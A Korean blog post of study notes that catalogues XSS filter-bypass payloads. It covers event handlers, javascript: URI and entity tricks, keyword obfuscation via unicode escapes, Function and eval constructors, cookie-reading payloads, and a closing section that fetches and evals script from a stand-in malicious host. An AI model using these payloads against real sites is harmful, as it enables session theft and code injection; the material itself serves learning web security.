Notice
Recent Posts
Recent Comments
250x250
반응형
«   2025/08   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
Archives
Today
Total
관리 메뉴

Tyojong

[XSS] 필터링 우회 본문

web/basic knowledge

[XSS] 필터링 우회

Tyojong 2025. 7. 24. 23:49
반응형

이벤트 핸들러 (script태그 우회)

onload

해당 태그가 요청하는 데이터를 성공적으로 로드한 후에 실행

<img src="https://tyojongblog.site/valid.jpg" onload="alert('1')">

onerror

해당 태그가 요청하는 데이터를 로드하는데 실패할 시 실행

<img src=x onerror="alert('1')">

onfocus

input 태그에 커서를 클릭하여 포커스가 되면 실행

autofocus 속성을 이용해 자동으로 포커스 시키거나, URL의 hash부분에 input태그의 id 속성 값 입력 (ex. https://tyojongblog.site/#inputID) 를 넣어 자동으로 포커스 되도록 한다.

<input type="text" id="inputID" onfocus="alert('1')" autofocus>

문자열 치환 필터링 우회

script 라는 키워드를 제거하는 필터링이면 scrscriptipt

onerror 라는 키워드를 제거하는 필터링이면 oneonerrorrror


활성 하이퍼링크 (javascript:, Html Entity Encoding)

javascript: 스키마 사용 가능할 때

a 태그

<a href="javascript:alert('1')">click</a>

iframe 태그

<iframe src="javascript:alert('1')">

javascript: 스키마 사용 가능할 때

정규화

브라우저들이 URL을 사용할 때 동일한 리소스를 나타내는 서로 다른 URL들을 동일한 형태로 변환하는 정규화 과정을 거친다.

이 과정에서 \x01, \x04, \t 같은 특수문자들이 제거되고 스키마의 대소문자가 통일된다.

<a href="\1\4jAVasC\triPT:alert('1')">Click</a>

HTML Entity Encoding

<a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert('1');">Click</a>

 

URL 객체를 통해 URL을 직접 정규화할 수 있다.

function normalizeURL(url) {
    return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)').href
--> "javascript:alert(1)"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"

태그와 속성 기반 필터링

대문자 or 소문자만 인식하는 필터링 우회

<sCRipT>alert(document.cookie)</scriPT>

잘못된 정규표현식을 사용한 필터링 우회

<script src="data:,alert('1')"></script>
<img src=""\nonerror="alert(document.cookie)"/>

특정 태그 및 속성에 대한 필터링을 다른 태그 및 속성을 이용하여 필터링

태그 검사 우회

<video><source onerror="alert('1')"/></video>
<body onload="alert('1')"/>

 

iframe 태그의 src 속성은 URL을 인자로 받기 때문에 활성 하이퍼링크를 이용해 자바스크립트 코드를 삽입하는 것이 가능

혹은 srcdoc 속성을 이용해 inner frame 내에 새로운 XSS 공격 코드를 입력하는 것도 가능

<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(parent.document.domain)>">

자바스크립트 함수 및 키워드 필터 (따옴표, 괄호 우회)

unicode escape sequence 를 통한 우회

\u0061lert(document.cookie);  // alert(document.cookie)

computed member access 를 이용한 우회

특정 속성에 접근할 때 속성 이름 동적으로 계산하는 기능

document["coo"+"kie"] == document["cookie"] == document.cookie
구문 대체 구문
alert, XMLHttpRequest 등 문서 최상위 객체 및 함수 window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기
window self, this
eval(code) Function(code)()
Function isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접근
alert(document["\u0063ook" + "ie"]);  // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]);  // alert(document.cookie)
isNaN['constr'+'uctor'](alert('1'));

문자열 선언

'(따옴표) 또는 "(쌍따옴표)가 필터링 될 경우

`(백틱)을 사용

var a = "aler";
var b = `t('1')`;
var result = `${a}${b}` => "alert('1')"
eval(result)

따옴표, 쌍따옴표, 백틱 모두 사용 불가능할 경우

RegExp 객체 사용

var foo = /Hello World!/.source;  // "Hello World!"
var bar = /test !/ + [];  // "/test !/"

 

String.fromCharCode 함수 사용 (아스키코드)

var foo = String.fromCharCode(72, 101, 108, 108, 111);  // "Hello"

기본 내장 함수나 객체의 문자 사용

내장 함수나 객체를 toString 함수를 이용하여 문자열로 변경하여 사용

내장 함수나 객체로부터 한 글자씩 가져와 원하는 문자열을 만든다.

var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"

숫자 객체의 진법 변환

문자를 36진수로 변환하여 문자 생성

var foo = (29234652).toString(36); // "hello"
var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"

함수 호출

자바스크립트 함수에서 괄호가 필터링 될 경우

`백틱 사용 가능

alert`1`;

괄호와 백틱 모두 필터링 될 경우

javascript: 스키마를 이용한 location 변경

location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";

Symbol.hasInstance 오버라이딩 (괄호와 백틱 필터링 될 때 eval을 사용하려면)

Symbol.hasInstance well-know symbol을 이용하면 instanceof 연산자를 오버라이드(재정의)할 수 있다.
즉, 0 instanceof C 를 연산할 때 C에 Symbol.hasInstance 속성에 함수가 있을 경우 메소드로 호출하여 instanceof연산자의 결과 값으로 사용할 수 있다.
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];

 

document.body.innerHTML

document.body.innerHTML 에 코드를 추가하면 HTML코드 문서에 추가 됨. 이를 이용하여 자바스크립트 코드 실행 가능
innerHTML 로 HTML코드를 실행할 때 보안 상 <script>태그를 삽입해도 실행되지 않는다. 때문에 이벤트 핸들러를 사용해 코드를 실행한다.
document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";
document.body.innerHTML+="<body src=x: onload=alert&#40;1&#41;>";

 

Boolean

decodeURI함수는 URL 인코딩 된 문자열을 디코딩한다.
atob함수는 base64 인코딩 된 문자열을 디코딩한다.
https://onlinetexttools.com/url-encode-text
Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
      decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
[URL+[]][0][12] ⇒ ‘(’
[URL+[]][0][13] ⇒ ‘)’
/alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};
location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];

그 외

디코딩 전 필터링

더블 인코딩으로 우회 가능

길이 제한

location.hash

url의 fragment에 스크립트를 작성 후 fragment부분을 추출하여 eval() 로 실행한다.

https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);

쿠키에 페이로드를 저장하는 방식

외부 자원을 이용한 공격 방식

import("http://malice.tyojongblog.site");
var e = document.createElement('script')
e.src='http://malice.tyojongblog.site';
document.appendChild(e);
fetch('http://malice.tyojongblog.site').then(x=>eval(x.text()))
728x90

'web > basic knowledge' 카테고리의 다른 글

[SQLI] DBMS 버전 정보  (0) 2025.07.21
[SQLI] DB 종류 별 System Table  (0) 2025.07.21